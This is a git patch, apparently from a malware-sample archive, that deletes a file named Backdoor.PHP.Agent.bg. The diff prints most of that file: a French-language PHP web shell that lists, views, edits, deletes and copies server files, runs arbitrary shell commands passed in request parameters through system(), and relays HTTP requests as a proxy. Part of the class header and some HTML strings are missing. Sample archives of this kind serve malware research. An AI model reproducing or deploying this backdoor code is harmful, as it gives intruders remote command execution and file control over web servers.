From 8f9c0c8890670e2d02d67a6de362d8c6188b98da Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Thu, 15 Oct 2020 20:31:27 -0500 Subject: [PATCH] Delete Backdoor.PHP.Agent.bg --- PHP/Backdoor.PHP.Agent.bg | 181 -------------------------------------- 1 file changed, 181 deletions(-) delete mode 100644 PHP/Backdoor.PHP.Agent.bg diff --git a/PHP/Backdoor.PHP.Agent.bg b/PHP/Backdoor.PHP.Agent.bg deleted file mode 100644 index a09ba4b4..00000000 --- a/PHP/Backdoor.PHP.Agent.bg +++ /dev/null @@ -1,181 +0,0 @@ -rep)) { - $dir = opendir($this->rep); - } else { - $dir = opendir($this->pwd); - } - while($f = readdir($dir)) { - if ($f !="." && $f != "..") { - $this->list[] = $f; - } - } - } - - function view() { - - $this->file = htmlentities(highlight_file($this->file)); - } - - function edit() { - if(!is_writable($this->edit)) { - echo "Ecriture impossible sur le fichier"; - } elseif(!file_exists($this->edit)) { - echo "Le fichier n'existe pas "; - } elseif(!$this->fichier) { - $fp = fopen($this->edit,"r"); - $a = ""; - while(!feof($fp)) { - $a .= fgets($fp,1024); - } - echo"
edit."\">
"; - } else { - $fp = fopen($this->edit,"w+"); - fwrite($fp, $this->fichier); - fclose($fp); - echo "Le fichier a été modifié"; - - } - } - - function del() { - if(is_file($this->del)) { - if(unlink($this->del)) { - echo "Fichier supprimé"; - } else { - echo "Vous n'avez pas les droits pour supprimer ce fichier"; - } - } else { - echo $this->del." n'est pas un fichier"; - } - } - - function shell() { - echo "

"; - system($this->shell); - } - - function proxy($host,$page) { - - $fp = fsockopen($host,80); - if (!$fp) { - echo "impossible d'etablir un connection avec l'host"; - } else { - $header = "GET ".$page." HTTP/1.1\r\n"; - $header .= "Host: ".$host."\r\n"; - $header .= "Connection: close\r\n\r\n"; - fputs($fp,$header); - while (!feof($fp)) { - $line = fgets($fp,1024); - echo $line; - } - fclose($fp); - } - } - - function ccopy($cfichier,$cdestination) { - if(!empty($cfichier) && !empty($cdestination)) { - copy($cfichier, $cdestination); - echo "Le fichier a été copié"; - } else { - echo "
Source:
Destination:
"; - } - } -} -if(!empty($_REQUEST['rep'])) { - $rep = $_REQUEST['rep']."/"; -} -$pwd = $_SERVER['SCRIPT_FILENAME']; -$pwd2 = explode("/",$pwd); -$file = $_REQUEST['file']; -$edit = $_REQUEST['edit']; -$fichier = $_POST['fichier']; -$del = $_REQUEST['del']; -$shell = $_REQUEST['shell']; -$proxy = $_REQUEST['proxy']; -$copy = $_REQUEST['copy']; -$cfichier = $_POST['cfichier']; -$cdestination = $_POST['cdestination']; - -$n = count($pwd2); -$n = $n - 1; -$pwd = ""; -for ($i = 0;$i != $n;$i = $i+1) { - $pwd .= "/".$pwd2[$i]; -} - -if($proxy) { -$host2 = explode("/",$proxy); -$n = count($host2); -$host = $host2[2]; -$page = ""; -for ($i = 3;$i != $n;$i = $i+1) { - $page .= "/".$host2[$i]; -} -echo $page; -} - -echo "Index of ".$pwd.""; -$backdoor = new backdoor(); -$backdoor->pwd = $pwd; -$backdoor->rep = $rep; -$backdoor->file = $file; -$backdoor->edit = $edit; -$backdoor->fichier = $fichier; -$backdoor->del = $del; -$backdoor->shell = $shell; -$backdoor->proxy = $proxy; -echo "
Index of ".$backdoor->pwd.""; -$backdoor->dir(); - -echo "
";
-echo "Executer un shell ";
-echo "Utiliser le serveur comme proxy ";
-echo "Copier un fichier 
"; -echo "\" Name Last modified Size Description"; -echo "
"; - -if($file) { - $backdoor->view(); -} elseif($edit) { - $backdoor->edit(); -} elseif($del) { - $backdoor->del(); -} elseif($shell) { - $backdoor->shell(); -}elseif($proxy) { - $backdoor->proxy($host,$page); -}elseif($copy == 1) { - $backdoor->ccopy($cfichier,$cdestination); -} else { - echo "[DIR] Parent Directory ".date("r",realpath($rep."../"))." -
"; - foreach ($backdoor->list as $key => $value) { - if(is_dir($rep.$value)) { - echo "[DIR]".$value."/ ".date("r",filemtime($rep.$value))." -
"; - } else { - echo "[FILE]".$value." (edit) (del) ".date("r",filemtime($rep.$value))." 1k
"; - } - } -} -echo "

"; -echo "
Coded By Charlichaplin
"; -echo ""; \ No newline at end of file